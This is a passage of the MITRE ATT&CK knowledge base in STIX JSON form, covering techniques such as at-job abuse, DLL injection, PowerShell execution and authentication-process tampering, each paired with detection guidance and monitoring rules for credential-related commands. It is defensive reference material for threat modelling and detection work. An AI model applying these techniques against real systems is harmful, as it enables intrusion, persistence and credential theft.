Traffic Flow","Active Directory: Active Directory Object Access"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["FIRST.ORG's Cyber Threat Intelligence SIG"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","type":"attack-pattern","created":"2017-05-31T21:31:37.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1124","url":"https://attack.mitre.org/techniques/T1124"},{"external_id":"CAPEC-295","source_name":"capec","url":"https://capec.mitre.org/data/definitions/295.html"},{"url":"https://msdn.microsoft.com/ms724961.aspx","description":"Microsoft. (n.d.). System Time. Retrieved November 25, 2016.","source_name":"MSDN System Time"},{"url":"https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings","description":"Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.","source_name":"Technet Windows Time Service"},{"url":"https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf","description":"Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved November 25, 2016.","source_name":"RSA EU12 They're Inside"},{"source_name":"AnyRun TimeBomb","url":"https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/","description":"Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021."}],"modified":"2021-04-22T23:09:24.799Z","name":"System Time Discovery","description":"An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Process: OS API Execution","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","created":"2019-11-27T13:52:45.853Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1053.002","url":"https://attack.mitre.org/techniques/T1053/002"},{"source_name":"rowland linux at 2019","url":"https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/","description":"Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021."},{"source_name":"GTFObins at","url":"https://gtfobins.github.io/gtfobins/at/","description":"Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021."},{"source_name":"Linux at","url":"https://man7.org/linux/man-pages/man1/at.1p.html","description":"IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022."},{"source_name":"Twitter Leoloobeek Scheduled Task","url":"https://twitter.com/leoloobeek/status/939248813465853953","description":"Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017."},{"source_name":"Microsoft Scheduled Task Events Win10","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events","description":"Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019."},{"source_name":"TechNet Scheduled Task Events","url":"https://technet.microsoft.com/library/dd315590.aspx","description":"Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017."},{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."},{"source_name":"TechNet Forum Scheduled Task Operational Setting","url":"https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen","description":"Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)","modified":"2022-04-18T20:12:04.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"At","x_mitre_detection":"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the <code>atq</code> command and ensure IP addresses stored in the <code>SSH_CONNECTION</code> and <code>SSH_CLIENT</code> variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Scheduled Job: Scheduled Job Creation","Command: Command Execution","File: File Modification","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":[],"x_mitre_remote_support":true,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392","type":"attack-pattern","created":"2017-05-31T21:30:36.550Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1035","external_id":"T1035"}],"modified":"2020-03-10T18:34:39.665Z","name":"Service Execution","description":"Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","type":"attack-pattern","created":"2020-01-14T01:26:08.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.001","url":"https://attack.mitre.org/techniques/T1055/001"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.endgame.com/blog/technical-blog/hunting-memory","description":"Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.","source_name":"Elastic HuntingNMemory June 2017"}],"modified":"2021-10-18T12:20:00.382Z","name":"Dynamic-link Library Injection","description":"Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Module: Module Load","Process: Process Modification","Process: OS API Execution","Process: Process Access"],"x_mitre_defense_bypassed":["Application control","Anti-virus"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0","type":"attack-pattern","created":"2017-05-31T21:31:06.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1086","url":"https://attack.mitre.org/techniques/T1086"},{"url":"https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx","description":"Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.","source_name":"TechNet PowerShell"},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"},{"url":"https://github.com/jaredhaight/PSAttack","description":"Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.","source_name":"Github PSAttack"},{"source_name":"Sixdub PowerPick Jan 2016","url":"http://www.sixdub.net/?p=367","description":"Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018."},{"source_name":"SilentBreak Offensive PS Dec 2015","url":"https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/","description":"Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018."},{"source_name":"Microsoft PSfromCsharp APR 2014","url":"https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/","description":"Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019."},{"url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","source_name":"Malware Archaeology PowerShell Cheat Sheet"},{"url":"https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html","description":"Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.","source_name":"FireEye PowerShell Logging 2016"}],"modified":"2020-03-09T13:51:06.334Z","name":"PowerShell","description":"PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_remote_support":true},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636","type":"attack-pattern","created":"2020-10-01T02:17:46.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1588.005","url":"https://attack.mitre.org/techniques/T1588/005"},{"source_name":"Exploit Database","url":"https://www.exploit-db.com/","description":"Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020."},{"source_name":"TempertonDarkHotel","description":"Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.","url":"https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"},{"source_name":"NationsBuying","description":"Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.","url":"https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"},{"url":"https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/","description":"Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.","source_name":"PegasusCitizenLab"},{"source_name":"Wired SandCat Oct 2019","url":"https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec","description":"Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020."}],"modified":"2021-04-15T03:14:01.255Z","name":"Exploits","description":"Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","Linux","macOS","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Chris Ross @xorrior"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","type":"attack-pattern","created":"2020-02-11T19:01:56.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1556","url":"https://attack.mitre.org/techniques/T1556"},{"url":"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/","description":"Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.","source_name":"Clymb3r Function Hook Passwords Sept 2013"},{"source_name":"Dell Skeleton","description":"Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.","url":"https://www.secureworks.com/research/skeleton-key-malware-analysis"},{"source_name":"Xorrior Authorization Plugins","url":"https://xorrior.com/persistent-credential-theft/","description":"Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021."},{"url":"https://technet.microsoft.com/en-us/library/dn487457.aspx","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","source_name":"TechNet Audit Policy"},{"source_name":"dump_pwd_dcsync","url":"https://adsecurity.org/?p=2053","description":"Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021."}],"modified":"2022-02-10T22:26:33.374Z","name":"Modify Authentication Process","description":"Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The <code>Store passwords using reversible encryption</code> configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of <code>-AllowReversiblePasswordEncryption $true</code>, <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Process: Process Access","Windows Registry: Windows Registry Key Modification","File: File Modification","Logon Session: Logon Session Creation","Module: Module Load","File: File Creation"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","type":"attack-pattern","created":"2020-02-11T19:01:15.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1056.004","url":"https://attack.mitre.org/techniques/T1056/004"},{"source_name":"Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017","description":"Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx","description":"Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.","source_name":"Microsoft Hook Overview"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.adlice.com/userland-rootkits-part-1-iat-hooks/","description":"Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.","source_name":"Adlice Software IAT Hooks Oct 2014"},{"url":"https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/","description":"Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.","source_name":"MWRInfoSecurity Dynamic Hooking 2015"},{"url":"https://www.exploit-db.com/docs/17802.pdf","description":"Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.","source_name":"HighTech Bridge Inline Hooking Sept 2011"},{"url":"https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html","description":"Volatility Labs. (2012, September 24). 